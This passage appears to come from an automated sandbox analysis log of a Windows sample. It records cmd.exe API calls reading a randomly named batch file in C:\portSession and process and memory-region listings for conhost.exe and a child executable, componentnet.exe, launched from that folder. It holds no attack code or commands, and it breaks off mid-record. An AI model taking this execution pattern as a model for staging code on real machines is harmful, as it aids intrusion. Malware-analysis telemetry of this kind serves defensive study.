dwMode=0x7) returned 1 [0143.899] _get_osfhandle (_FileHandle=1) returned 0x3c [0143.899] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x13ff40c | out: lpMode=0x13ff40c) returned 1 [0143.901] _get_osfhandle (_FileHandle=0) returned 0x38 [0143.901] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x13ff408 | out: lpMode=0x13ff408) returned 1 [0143.903] SetConsoleInputExeNameW () returned 0x1 [0143.903] GetConsoleOutputCP () returned 0x1b5 [0143.908] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x13ff460 | out: lpCPInfo=0x13ff460) returned 1 [0143.908] SetThreadUILanguage (LangId=0x0) returned 0x409 [0143.911] CreateFileW (lpFileName="C:\\portSession\\a6kzlkWi3Mn3D.bat" (normalized: "c:\\portsession\\a6kzlkwi3mn3d.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f01c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0 [0143.911] _open_osfhandle (_OSFileHandle=0xb0, _Flags=8) returned 3 [0143.911] _get_osfhandle (_FileHandle=3) returned 0xb0 [0143.911] SetFilePointer (in: hFile=0xb0, lDistanceToMove=145, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x91 [0143.912] GetProcessHeap () returned 0x760000 [0143.912] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x768628) returned 1 [0143.912] GetProcessHeap () returned 0x760000 [0143.913] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x7684b8) returned 1 [0143.913] GetProcessHeap () returned 0x760000 [0143.913] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x778f90) returned 1 [0143.913] GetProcessHeap () returned 0x760000 [0143.913] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x768480) returned 1 [0143.913] GetProcessHeap () returned 0x760000 [0143.914] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76bbe0) returned 1 [0143.914] GetProcessHeap () returned 0x760000 [0143.915] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x768268) returned 1 [0143.915] GetProcessHeap () returned 0x760000 [0143.915] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76ae90) returned 1 [0143.915] GetProcessHeap () returned 0x760000 [0143.915] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76ae58) returned 1 [0143.915] GetProcessHeap () returned 0x760000 [0143.916] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x760ed0) returned 1 [0143.916] GetProcessHeap () returned 0x760000 [0143.916] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x778e10) returned 1 [0143.916] GetProcessHeap () returned 0x760000 [0143.917] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76ae00) returned 1 [0143.917] GetProcessHeap () returned 0x760000 [0143.917] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x778bf8) returned 1 [0143.917] GetProcessHeap () returned 0x760000 [0143.917] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76ad18) returned 1 [0143.917] GetProcessHeap () returned 0x760000 [0143.918] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76aa38) returned 1 [0143.918] GetProcessHeap () returned 0x760000 [0143.918] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76acb8) returned 1 [0143.918] GetProcessHeap () returned 0x760000 [0143.918] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76ac58) returned 1 [0143.918] GetProcessHeap () returned 0x760000 [0143.918] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76a8e8) returned 1 [0143.918] GetProcessHeap () returned 0x760000 [0143.919] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76ac00) returned 1 [0143.919] GetProcessHeap () returned 0x760000 [0143.919] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76aba0) returned 1 [0143.919] _get_osfhandle (_FileHandle=3) returned 0xb0 [0143.919] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x91 [0143.919] ReadFile (in: hFile=0xb0, lpBuffer=0x140b960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18efa4, lpOverlapped=0x0 | out: lpBuffer=0x140b960*, lpNumberOfBytesRead=0x18efa4*=0x0, lpOverlapped=0x0) returned 1 [0143.920] GetLastError () returned 0x0 [0143.920] _get_osfhandle (_FileHandle=3) returned 0xb0 [0143.920] GetFileType (hFile=0xb0) returned 0x1 [0143.920] _get_osfhandle (_FileHandle=3) returned 0xb0 [0143.920] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x91 [0143.920] GetProcessHeap () returned 0x760000 [0143.920] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400a) returned 0x77afa8 [0143.920] GetProcessHeap () returned 0x760000 [0143.921] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x77afa8) returned 1 [0143.921] _get_osfhandle (_FileHandle=3) returned 0xb0 [0143.921] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x91 [0143.921] ReadFile (in: hFile=0xb0, lpBuffer=0x140b960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18efa4, lpOverlapped=0x0 | out: lpBuffer=0x140b960*, lpNumberOfBytesRead=0x18efa4*=0x0, lpOverlapped=0x0) returned 1 [0143.921] GetLastError () returned 0x0 [0143.921] _get_osfhandle (_FileHandle=3) returned 0xb0 [0143.921] GetFileType (hFile=0xb0) returned 0x1 [0143.922] _get_osfhandle (_FileHandle=3) returned 0xb0 [0143.922] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x91 [0143.922] GetProcessHeap () returned 0x760000 [0143.922] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400a) returned 0x77afa8 [0143.922] GetProcessHeap () returned 0x760000 [0143.922] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x77afa8) returned 1 [0143.922] longjmp () [0143.922] _tell (_FileHandle=3) returned 145 [0143.922] _close (_FileHandle=3) returned 0 [0143.923] CmdBatNotificationStub () returned 0x1 [0143.923] _get_osfhandle (_FileHandle=1) returned 0x3c [0143.923] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x7) returned 1 [0143.933] _get_osfhandle (_FileHandle=1) returned 0x3c [0143.933] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x13ff40c | out: lpMode=0x13ff40c) returned 1 [0143.934] _get_osfhandle (_FileHandle=0) returned 0x38 [0143.934] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x13ff408 | out: lpMode=0x13ff408) returned 1 [0143.935] SetConsoleInputExeNameW () returned 0x1 [0143.935] GetConsoleOutputCP () returned 0x1b5 [0143.938] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x13ff460 | out: lpCPInfo=0x13ff460) returned 1 [0143.938] SetThreadUILanguage (LangId=0x0) returned 0x409 [0143.940] exit (_Code=0) Thread: id = 30 os_tid = 0x1238 Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5a23e000" os_pid = "0x9c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x87c" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 693 start_va = 0x14000000 end_va = 0x141fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000014000000" filename = "" Region: id = 694 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 695 start_va = 0x4513f20000 end_va = 0x4513f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000004513f20000" filename = "" Region: id = 696 start_va = 0x4514000000 end_va = 0x45141fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000004514000000" filename = "" Region: id = 697 start_va = 0x19eba9a0000 end_va = 0x19eba9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019eba9a0000" filename = "" Region: id = 698 start_va = 0x19eba9c0000 end_va = 0x19eba9d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019eba9c0000" filename = "" Region: id = 699 start_va = 0x7df5ff8f0000 end_va = 0x7ff5ff8effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff8f0000" filename = "" Region: id = 700 start_va = 0x7ff6b56f0000 end_va = 0x7ff6b5712fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b56f0000" filename = "" Region: id = 701 start_va = 0x7ff6b6590000 end_va = 0x7ff6b65a0fff monitored = 0 entry_point = 0x7ff6b65916b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 702 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 703 start_va = 0x19eba9e0000 end_va = 0x19ebabdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019eba9e0000" filename = "" Region: id = 704 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 705 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 706 start_va = 0x19eba9a0000 end_va = 0x19eba9affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019eba9a0000" filename = "" Region: id = 707 start_va = 0x7ff6b55f0000 end_va = 0x7ff6b56effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b55f0000" filename = "" Region: id = 708 start_va = 0x19eba9e0000 end_va = 0x19ebaa9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 709 start_va = 0x19ebaae0000 end_va = 0x19ebabdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebaae0000" filename = "" Region: id = 710 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 711 start_va = 0x4513f60000 end_va = 0x4513f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000004513f60000" filename = "" Region: id = 712 start_va = 0x19ebabe0000 end_va = 0x19ebad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebabe0000" filename = "" Region: id = 713 start_va = 0x19eba9b0000 end_va = 0x19eba9b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019eba9b0000" filename = "" Region: id = 714 start_va = 0x7ffb15d60000 end_va = 0x7ffb15db8fff monitored = 0 entry_point = 0x7ffb15d6fbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 715 start_va = 0x19ebaaa0000 end_va = 0x19ebaaa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebaaa0000" filename = "" Region: id = 716 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 717 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 718 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 719 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 720 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 721 start_va = 0x19ebaab0000 end_va = 0x19ebaab6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebaab0000" filename = "" Region: id = 722 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 723 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 724 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 725 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 726 start_va = 0x7ffb1ac70000 end_va = 0x7ffb1adf5fff monitored = 0 entry_point = 0x7ffb1acbd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 727 start_va = 0x19ebaac0000 end_va = 0x19ebaac0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebaac0000" filename = "" Region: id = 728 start_va = 0x19ebaad0000 end_va = 0x19ebaad0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebaad0000" filename = "" Region: id = 729 start_va = 0x19ebad30000 end_va = 0x19ebaeb7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebad30000" filename = "" Region: id = 730 start_va = 0x19ebaec0000 end_va = 0x19ebb040fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebaec0000" filename = "" Region: id = 731 start_va = 0x19ebb050000 end_va = 0x19ebc44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebb050000" filename = "" Region: id = 732 start_va = 0x19ebabe0000 end_va = 0x19ebac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebabe0000" filename = "" Region: id = 733 start_va = 0x19ebad20000 end_va = 0x19ebad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebad20000" filename = "" Region: id = 734 start_va = 0x4513fa0000 end_va = 0x4513fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000004513fa0000" filename = "" Region: id = 735 start_va = 0x7ffb1e310000 end_va = 0x7ffb1f86efff monitored = 0 entry_point = 0x7ffb1e4711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 736 start_va = 0x7ffb1ced0000 end_va = 0x7ffb1cf12fff monitored = 0 entry_point = 0x7ffb1cee4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 737 start_va = 0x7ffb1c880000 end_va = 0x7ffb1cec3fff monitored = 0 entry_point = 0x7ffb1ca464b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 738 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 739 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 740 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 741 start_va = 0x7ffb1d320000 end_va = 0x7ffb1d3d4fff monitored = 0 entry_point = 0x7ffb1d3622e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 742 start_va = 0x7ffb1c800000 end_va = 0x7ffb1c84afff monitored = 0 entry_point = 0x7ffb1c8035f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 743 start_va = 0x7ffb1c7d0000 end_va = 0x7ffb1c7e3fff monitored = 0 entry_point = 0x7ffb1c7d52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 744 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 745 start_va = 0x19ebc450000 end_va = 0x19ebc5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebc450000" filename = "" Region: id = 746 start_va = 0x19ebc5f0000 end_va = 0x19ebc926fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 747 start_va = 0x19ebabe0000 end_va = 0x19ebac00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 748 start_va = 0x19ebac10000 end_va = 0x19ebac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebac10000" filename = "" Region: id = 749 start_va = 0x19ebac20000 end_va = 0x19ebac79fff monitored = 1 entry_point = 0x19ebac353f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 750 start_va = 0x19ebc930000 end_va = 0x19ebcb47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebc930000" filename = "" Region: id = 751 start_va = 0x19ebcb50000 end_va = 0x19ebcd6afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebcb50000" filename = "" Region: id = 752 start_va = 0x19ebc450000 end_va = 0x19ebc55efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebc450000" filename = "" Region: id = 753 start_va = 0x19ebc5e0000 end_va = 0x19ebc5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebc5e0000" filename = "" Region: id = 754 start_va = 0x19ebcd70000 end_va = 0x19ebcf85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebcd70000" filename = "" Region: id = 755 start_va = 0x19ebcf90000 end_va = 0x19ebd0a4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebcf90000" filename = "" Region: id = 756 start_va = 0x4514200000 end_va = 0x451423ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000004514200000" filename = "" Region: id = 757 start_va = 0x7ffb1dc80000 end_va = 0x7ffb1ddd9fff monitored = 0 entry_point = 0x7ffb1dcc38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 758 start_va = 0x19ebabe0000 end_va = 0x19ebabe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebabe0000" filename = "" Region: id = 759 start_va = 0x19ebac20000 end_va = 0x19ebacdbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebac20000" filename = "" Region: id = 760 start_va = 0x19ebabe0000 end_va = 0x19ebabe3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebabe0000" filename = "" Region: id = 761 start_va = 0x7ffb1a760000 end_va = 0x7ffb1a781fff monitored = 0 entry_point = 0x7ffb1a761a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 762 start_va = 0x7ffb1ae60000 end_va = 0x7ffb1ae72fff monitored = 0 entry_point = 0x7ffb1ae62760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 763 start_va = 0x7ffb1c5e0000 end_va = 0x7ffb1c635fff monitored = 0 entry_point = 0x7ffb1c5f0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 764 start_va = 0x19ebabf0000 end_va = 0x19ebabf6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019ebabf0000" filename = "" Region: id = 765 start_va = 0x19ebac00000 end_va = 0x19ebac00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebac00000" filename = "" Region: id = 766 start_va = 0x19ebace0000 end_va = 0x19ebace0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebace0000" filename = "" Region: id = 767 start_va = 0x19ebacf0000 end_va = 0x19ebacf4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 768 start_va = 0x19ebad00000 end_va = 0x19ebad00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 769 start_va = 0x19ebad10000 end_va = 0x19ebad11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebad10000" filename = "" Region: id = 770 start_va = 0x7ffb11e90000 end_va = 0x7ffb12103fff monitored = 0 entry_point = 0x7ffb11f00400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 771 start_va = 0x19ebc560000 end_va = 0x19ebc560fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 772 start_va = 0x19ebc570000 end_va = 0x19ebc571fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019ebc570000" filename = "" Thread: id = 26 os_tid = 0x126c Thread: id = 27 os_tid = 0x1268 Thread: id = 28 os_tid = 0x1244 Thread: id = 29 os_tid = 0x123c Process: id = "6" image_name = "componentnet.exe" filename = "c:\\portsession\\componentnet.exe" page_root = "0x123c8000" os_pid = "0x388" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x87c" cmd_line = "\"C:\\portSession\\componentnet.exe\" " cur_dir = "C:\\portSession\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 790 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 791 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 792 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 793 start_va = 0x3a0000 end_va = 0x599fff monitored = 1 entry_point = 0x59131e region_type = mapped_file name = "componentnet.exe" filename = "\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe") Region: id = 794 start_va = 0x600000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 795 start_va = 0x800000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 796 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 797 start_va = 0x7ff5ff170000 end_va = 0x7ff5ff192fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff170000" filename = "" Region: id = 798 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 801 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 802 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 803 start_va = 0x170000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 804 start_va = 0x7ffb06a40000 end_va = 0x7ffb06aa7fff monitored = 1 entry_point = 0x7ffb06a44970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 805 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff 